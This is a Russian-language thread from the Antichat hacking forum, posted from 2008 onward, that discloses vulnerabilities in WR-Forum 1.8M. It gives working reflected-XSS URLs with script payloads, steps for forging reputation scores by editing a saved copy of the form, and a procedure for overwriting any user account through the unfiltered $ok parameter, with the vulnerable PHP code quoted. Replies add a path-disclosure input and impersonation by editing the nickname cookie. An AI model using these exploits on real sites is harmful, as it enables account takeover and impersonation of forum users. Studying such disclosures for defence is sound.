Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Уязвимости в WR-Forum 1.8M (https://forum.antichat.xyz/showthread.php?t=71352)

otmorozok428 24.05.2008 19:19

Уязвимости в WR-Forum 1.8M
 
Представляю отчёт об уязвимостях, найденных мною в WR-Forum 1.8 M.

1. Пассивные XSS

Цитата:

http://localhost/forum/tools.php?event=moresmiles&lines[12]=http://localhost/wrf/smile/"><script>alert()</script>.gif
Здесь lines[12] означает количество картинок в папке smile. По умолчанию их там 12 штук, но вообще количество может быть другим. Для реализации уязвимости нужно указать первое неинициализированное значение в массиве $lines (по умолчанию 12), а опция register_globals на сервере должна быть установлена в On.

Ещё
Цитата:

http://forum.wmbux.info/tools.php?event=mailto&name=Pupkin&email=pupkin@du dak.ru<script>alert()</script>
2. Махинации с репой.

Имеется возможность выставления неадекватно большой или неадекватно маленькой репы, например, 1000000 или -1000000000 и т.д.
Заходим по ссылке вида
Цитата:

http://localhost/forum/index.php?fid=1&id=111042960938#
Открываем исходный код страницы, ищем строчки
Цитата:

<FORM action='tools.php?event=repasave' method=post>

<TD bgcolor=#00880B><font size=+2 color=white>+5<INPUT name=repa type=radio value='+5'></TD>
Заменяем на
Цитата:

<FORM action='http://localhost/forum/tools.php?event=repasave' method=post>

<TD bgcolor=#00880B><font size=+2 color=white>+1000000<INPUT name=repa type=radio value='+1000000'></TD>
Сохраняем страницу на жесткий диск, затем открываем её оттуда, выбираем репутацию '1000000', жмём кнопку "Отправить".


3. Затирание произвольного юзера в базе, либо создание клона уже существующего юзера.

Ошибка связана с отсутствием фильтрации в переменной $ok файла tools.php

PHP код:

// проверка Логина/Старого пароля
$lines=file("$datadir/usersdat.php"); $i=count($lines);
do {
$i--; $rdt=explode("|"$lines[$i]);
   if (
strtolower($name)===strtolower($rdt[0]) & $oldpass===$rdt[1]) {$ok="$i";} // Ищем юзера логин/пароль
   
else { if ($email===$rdt[3]) {$bademail="1"; } } // Вдруг у когото уже есть такой емайл?
} while($i "1");
if (isset(
$bademail)) {print "$back. Участник с емайлом <B>$email уже зарегистрирован</B> на форуме!</center>"; exit;}
if (!isset(
$ok)) {setcookie("wrfcookies","",time());
print 
"$back Ваш новый логин /пароль / Емайл не совпадает НИ с одним из БД. <BR><BR>
Смена электронного адреса <font color=red><B>Запрещена</B></font><BR><BR>
<font color=red><B>Ошибка скрипта или попытка взлома - обратитесь к администратору!</B></font>"
;
 exit;}
$udt=explode("|",$lines[$ok]); $dayreg=$udt[4]; $kolvomsg=$udt[2]; $status=$udt[13];

...................................................................................... 

Регистрируемся на форуме, заходим на страницу редактирования профиля по ссылке вида
Цитата:

http://localhost/wrf/tools.php?event=profile&pname=pupkin
Открываем исходный код страницы, ищем строчки
Цитата:

<form action='tools.php?event=reregist' name=creator method=post enctype=multipart/form-data>

<input type=hidden name=name value='pupkin'>
Заменяем их на
Цитата:

<form action='http://localhost/forum/tools.php?event=reregist' name=creator method=post enctype=multipart/form-data>

<input type=hidden name=name value='Administrator'>
а также добавляем строку
Цитата:

<input type=hidden name=ok value='3'>
, где ok - номер строчки в файле usersdat.php, куда будет записана информация о созданном юзере. Юзер, который уже находится в данной строчке - будет затёрт.

Сохраняем страницу на жесткий диск, открываем её оттуда, идём в поле "Адрес e-mail: *" и указываем там новый e-mail, которого ещё нет в базе форума. Жмём кнопку "Cохранить изменения".

Всё - можем размещать сообщения от имени другого пользователя.

*******

[Raz0r] 24.05.2008 20:13

ТС, зачем сохранять хтмлю себе на винт, искать строчки, менять их, сохранять хтмлю, снова открывать страницу? Сразу бы давал Http-пакеты, которые необходимо передавать серверу

Liar 28.11.2008 11:06

Тоже сейчас наткнулся на данный форум,
пока расскрытие пути :

в поле поискв вводим : hjk'

получаем:
Сегодня: 28.11.2008 - 10:00:33
Цитата:

Warning: file(./data/0040931537.dat) [function.file]: failed to open stream: No such file or directory in T:\home\localhost\forum\tools.php on line 1110

Warning: file(./data/0040931537.dat) [function.file]: failed to open stream: No such file or directory in T:\home\localhost\forum\tools.php on line 1116По вашему запросу ничего не найдено.

last_root 14.08.2009 01:28

есть возможность постить сообщения от любого пользователя просто подменив ник в куках, которые форум сохраняет у вас на машине. пароль меняь не требуется.
ЗЫ: я не археолог, просто в поиске гугль кинул ссылку на ачатовскую тему- решил поднять =)

Dellok 31.05.2010 13:59

не работает. выдает ошибку
Цитата:

Warning: Cannot modify header information - headers already sent by (output started at /public_html/forum/index.php:75) in /public_html/forum/index.php on line 116
Ошибка при работе с КУКИ! Вы не сможете оставить сообщение, попробуйте подать его как гость.

Terminolog 03.06.2010 10:31

Цитата:

Сообщение от Dellok
не работает. выдает ошибку

Вы бы еще через 5 лет попробовали эту уязвимость.


Время: 06:47